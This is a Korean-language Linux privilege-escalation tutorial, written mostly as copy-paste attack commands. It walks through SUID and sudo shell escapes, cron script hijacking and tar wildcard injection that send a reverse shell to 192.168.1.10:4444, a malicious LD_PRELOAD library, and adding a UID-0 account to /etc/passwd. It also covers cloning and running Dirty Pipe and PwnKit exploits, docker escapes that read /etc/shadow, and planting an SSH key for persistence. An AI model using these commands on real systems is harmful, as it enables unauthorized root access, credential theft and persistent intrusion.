기본 원리: 리눅스 권한 모델
UID와 GID
리눅스는 모든 프로세스와 파일에 숫자 ID를 부여해 권한을 관리한다.
UID (User ID):
0 = root (슈퍼유저, 모든 권한)
1-999 = 시스템 계정 (데몬, 서비스)
1000+ = 일반 사용자
프로세스의 UID 종류:
Real UID (RUID) = 프로세스를 실행한 실제 사용자
Effective UID (EUID) = 권한 확인에 사용되는 UID (핵심!)
Saved UID (SUID) = EUID를 일시적으로 변경 후 복원용
파일 권한 확인 시 커널은 EUID를 확인함
권한 상승의 목표: EUID를 0(root)으로 바꾸는 것
SUID/SGID 비트
ls -la /usr/bin/passwd
# -rwsr-xr-x 1 root root 59880 Feb 6 passwd
# ^
# s = SUID 비트가 설정됨
SUID가 설정된 파일은 파일 소유자의 EUID로 실행된다. /usr/bin/passwd의 소유자는 root이므로, 일반 사용자가 실행해도 root 권한으로 /etc/shadow를 수정할 수 있다.
공격자가 노리는 것: SUID가 설정된 root 소유 바이너리에서 쉘을 띄우는 방법을 찾는 것.
1. 초기 열거 (Enumeration)
초기 침투 후 가장 먼저 할 일은 현재 환경을 파악하는 것이다.
# ─── 현재 컨텍스트 ───
id # uid, gid, groups 확인
whoami # 현재 사용자명
sudo -l # 비밀번호 없이 실행 가능한 sudo 명령어
env # 환경 변수 (PATH 주목)
# ─── 시스템 정보 ───
uname -a # 커널 버전 (익스플로잇 검색용)
cat /etc/os-release # OS 배포판 및 버전
hostname
# ─── 사용자 및 그룹 ───
cat /etc/passwd | grep -v 'nologin\|false' # 쉘이 있는 계정들
cat /etc/group # 그룹 목록
id # 내가 속한 그룹 확인 (docker, sudo, disk 주목!)
# ─── 프로세스 ───
ps aux # 실행 중인 모든 프로세스
ps aux | grep root # root로 실행 중인 프로세스 (서비스 취약점 탐색)
# ─── 네트워크 ───
netstat -tlnp # 로컬에만 열린 포트 (내부 서비스, 피벗 포인트)
ss -tlnp # 더 현대적인 netstat
# ─── 파일 권한 ───
find / -writable -not -path "/proc/*" 2>/dev/null # 쓰기 가능한 파일
find / -perm -4000 -type f 2>/dev/null # SUID 파일
find / -perm -2000 -type f 2>/dev/null # SGID 파일
# ─── 자동화 도구 (가장 빠름) ───
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
./linenum.sh
2. SUID/SGID 파일 오용
GTFOBins — 정상 바이너리의 비정상적 사용
GTFOBins는 정상 시스템 바이너리를 파일 읽기, 쉘 획득 등에 사용하는 방법을 정리한 데이터베이스다. SUID가 설정된 경우를 따로 분류하고 있다.
# SUID 파일 목록 찾기
find / -perm -4000 -type f 2>/dev/null
# /usr/bin/find
# /usr/bin/vim.basic
# /usr/bin/nmap ← 오래된 버전만
# /usr/bin/python3.8
# 등등...
# ─── find에 SUID ───
/usr/bin/find . -exec /bin/sh -p \; -quit
# -exec: 각 결과에 대해 명령 실행
# /bin/sh -p: EUID를 유지하는 모드 (RUID != EUID일 때 EUID 유지)
# → root의 sh 실행!
# ─── vim에 SUID ───
vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
# vim의 Python 플러그인으로 셸 실행
# ─── less에 SUID ───
/usr/bin/less /etc/passwd
!/bin/sh # less 내부에서 ! 로 쉘 명령 실행
# ─── python에 SUID ───
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# ─── cp에 SUID ───
# /etc/passwd에 root 계정 추가
echo "hax0r:$(openssl passwd -6 password):0:0:root:/root:/bin/bash" >> /tmp/passwd_new
cp /tmp/passwd_new /etc/passwd
su hax0r # 비밀번호: password
# ─── nmap (구버전)에 SUID ───
nmap --interactive
!sh # nmap 인터랙티브 모드에서 쉘
3. Sudo 미스설정
# sudo -l 출력 예시
User hacker may run the following commands on target:
(ALL) NOPASSWD: /usr/bin/vim
(root) NOPASSWD: /usr/bin/python3 /opt/backup.py
(ALL) NOPASSWD: /bin/cp
(root) /usr/bin/less
케이스 1: 텍스트 편집기 (vim, nano, vi)
sudo vim -c '!sh' # vim 내부에서 쉘 실행
sudo nano # Ctrl+R, Ctrl+X, 명령어 입력
sudo vi -c ':!sh'
케이스 2: 스크립트 실행 권한
# sudo /usr/bin/python3 /opt/backup.py가 허용된 경우
# /opt/backup.py가 쓰기 가능하다면?
ls -la /opt/backup.py # 파일 권한 확인
# 쓰기 가능하면 스크립트 교체
echo 'import os; os.setuid(0); os.system("/bin/bash -p")' > /opt/backup.py
sudo /usr/bin/python3 /opt/backup.py # root 쉘 획득
케이스 3: LD_PRELOAD 환경변수
# sudo -l에 env_keep += LD_PRELOAD 가 있는 경우
# LD_PRELOAD: 모든 프로그램이 시작할 때 이 라이브러리를 먼저 로드
# 악성 공유 라이브러리 작성
cat > /tmp/evil.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void __attribute__((constructor)) init() {
// 라이브러리 로드 시 자동 실행
setuid(0);
setgid(0);
system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -o /tmp/evil.so /tmp/evil.c -nostartfiles
sudo LD_PRELOAD=/tmp/evil.so /usr/bin/less /etc/passwd
# less 시작 시 evil.so가 먼저 로드 → root 쉘
4. Cron 작업 오용
기본 원리
Cron은 정기적으로 명령을 실행하는 스케줄러다. root 권한으로 실행되는 스크립트를 수정할 수 있다면 root 코드 실행이 가능하다.
# cron 설정 확인
cat /etc/crontab # 시스템 크론
ls -la /etc/cron.d/ # 추가 크론 설정
ls -la /etc/cron.hourly/ # 매시간 실행
ls -la /etc/cron.daily/ # 매일 실행
crontab -l # 현재 사용자 크론
crontab -l -u root 2>/dev/null # root 크론 (권한 필요)
# pspy로 실시간 프로세스 모니터링 (크론이 숨겨져 있어도 탐지)
./pspy64
# 1분마다 새 프로세스가 실행되는 것 관찰
케이스 1: 쓰기 가능한 스크립트
# /etc/crontab:
# * * * * * root /opt/monitor.sh
# monitor.sh의 권한 확인
ls -la /opt/monitor.sh
# -rwxrwxrwx 1 root root ... ← 모두 쓰기 가능!
# 리버스 쉘 삽입
echo '#!/bin/bash' > /opt/monitor.sh
echo 'bash -i >& /dev/tcp/192.168.1.10/4444 0>&1' >> /opt/monitor.sh
# 1분 내로 root 리버스 쉘 수신
nc -nlvp 4444
케이스 2: PATH 하이재킹
# /etc/crontab:
# PATH=/tmp:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# * * * * * root backup.sh ← 절대 경로 없음!
# PATH에서 /tmp가 먼저이므로 /tmp/backup.sh가 먼저 실행됨!
cat > /tmp/backup.sh << 'EOF'
#!/bin/bash
chmod +s /bin/bash # bash에 SUID 설정
EOF
chmod +x /tmp/backup.sh
# 1분 후
/bin/bash -p # SUID bash로 root 쉘
케이스 3: 와일드카드 인젝션
# /etc/crontab:
# * * * * * root tar czf /backup/web.tar.gz /var/www/html/*
# ^ 와일드카드!
# tar는 파일명을 옵션으로 해석할 수 있음
# touch로 옵션처럼 생긴 파일명 생성
cd /var/www/html
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
cat > shell.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1
EOF
chmod +x shell.sh
# tar가 실행되면: tar czf ... --checkpoint=1 --checkpoint-action=exec=sh shell.sh
# → shell.sh가 root 권한으로 실행됨
5. /etc/passwd 쓰기 가능
/etc/passwd에 쓰기 권한이 있다면 root 계정을 직접 추가할 수 있다.
# 쓰기 권한 확인
ls -la /etc/passwd
# -rw-rw-r-- 1 root root ... ← 그룹 쓰기 가능 (취약!)
# /etc/passwd 형식: username:password_hash:UID:GID:comment:home:shell
# 비밀번호가 'x'면 /etc/shadow를 참조, 직접 hash를 넣으면 shadow 무시
# SHA-512 해시 생성 (비밀번호: password)
openssl passwd -6 -salt salt password
# $6$salt$xxxxxxxxxxx...
# root 계정 추가 (UID=0, GID=0)
echo 'hax0r:$6$salt$HASH:0:0:root:/root:/bin/bash' >> /etc/passwd
su hax0r # 비밀번호: password → root 쉘 획득
6. 커널 익스플로잇
커널 버전이 취약하다면 로컬 권한 상승(LPE) 익스플로잇을 사용할 수 있다.
# 커널 버전 확인
uname -a
# Linux target 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018
# 버전 기반 검색
searchsploit linux kernel 4.4.0
searchsploit local privilege escalation ubuntu 18.04
# 주요 LPE CVE들
# CVE-2021-4034: PwnKit — pkexec 취약점 (거의 모든 Linux 영향)
# CVE-2021-3156: Baron Samedit — sudo 힙 오버플로우 (sudo < 1.9.5p2)
# CVE-2016-5195: Dirty COW — Copy-on-Write 경쟁 조건 (4.8.3 미만)
# CVE-2022-0847: Dirty Pipe — 파이프 오염으로 임의 파일 쓰기 (5.16.11 미만)
# Dirty Pipe (CVE-2022-0847) — 5.16.11 미만 커널
# 원리: 파이프 버퍼의 플래그가 올바르게 초기화되지 않아 read-only 파일에 쓰기 가능
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
cd CVE-2022-0847-DirtyPipe-Exploits
gcc exploit-1.c -o exploit
./exploit # /etc/passwd 덮어써서 root 획득
# PwnKit (CVE-2021-4034) — 거의 모든 Linux 영향
git clone https://github.com/berdav/CVE-2021-4034
cd CVE-2021-4034
make
./cve-2021-4034 # root 쉘 획득
7. Docker 그룹 탈출
# docker 그룹 멤버인지 확인
id | grep docker
# uid=1000(hacker) gid=1000(hacker) groups=...,998(docker),... ← docker 그룹!
# docker 그룹 = root와 동등한 권한
# 호스트 파일시스템을 마운트해서 탈출
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# 이제 호스트의 / 를 /mnt에 마운트하고 chroot로 진입
# → 호스트 파일시스템에 완전한 root 접근
# 특정 파일만 읽기
docker run -v /etc/shadow:/tmp/shadow --rm alpine cat /tmp/shadow
# /etc/shadow (root만 읽기 가능) 내용 출력
# SSH 키 추가로 영구 접근
docker run -v /root:/mnt --rm alpine sh -c "echo 'ssh-rsa AAAA...' >> /mnt/.ssh/authorized_keys"
자동화 도구
# LinPEAS — 가장 포괄적인 열거 도구
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# 출력 색상:
# 빨강/노랑 배경: 높은 우선순위 (즉시 확인)
# 녹색: 흥미로운 발견
# 파랑: 일반 정보
# pspy — 실시간 프로세스 모니터링 (root 불필요)
# 숨겨진 cron 작업, 짧게 실행되는 프로세스 탐지
./pspy64 -p -i 50 # 50ms 간격으로 모니터링
# Linux Smart Enumeration (lse.sh) — 등급별 상세 출력
./lse.sh -l 1 # 기본 확인
./lse.sh -l 2 # 더 자세한 확인
핵심 체크리스트
우선순위 높은 벡터:
□ sudo -l → sudo 허용 명령어 + GTFOBins 확인
□ SUID 파일 → GTFOBins + 커스텀 바이너리 분석
□ docker/lxd/disk 그룹 멤버십 → 즉시 탈출 가능
□ /etc/passwd 쓰기 가능 → 직접 계정 추가
□ 쓰기 가능한 /etc/sudoers → sudo 권한 추가
중간 우선순위:
□ root 권한 cron 스크립트 쓰기 가능?
□ cron PATH 하이재킹 가능?
□ 커널 버전 → 공개 LPE 존재?
□ 환경변수 (LD_PRELOAD, PATH) 오용
항상 확인:
□ 실행 중인 root 서비스 → 서비스별 취약점
□ /home/* 에 SSH 키, .bash_history, 설정 파일
□ 데이터베이스 설정 파일에 자격증명
□ Git 저장소, 환경 파일 (.env)